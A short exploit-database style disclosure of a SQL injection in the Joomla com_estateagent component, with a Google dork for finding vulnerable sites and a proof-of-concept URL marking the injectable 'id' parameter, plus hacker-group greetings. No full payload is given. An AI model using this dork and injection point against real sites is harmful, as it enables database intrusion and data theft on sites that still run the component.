Joomla! Component Estate Agent – SQL Injection
################################################## # Exploit Title: joomla component (com_estateagent) SQL injection Vulnerability # Date: 10/04/2012 # Author: xDarkSton3x # E-mail : xdarkston3x@msn.com # Category:: webapps # Google dork: inurl:"com_estateagent" # Tested on: linux + windows # Vendor link: http://www.eaimproved.eu/index.php ################################################## [~]Exploit/p0c : http://site.com/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team - DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ] |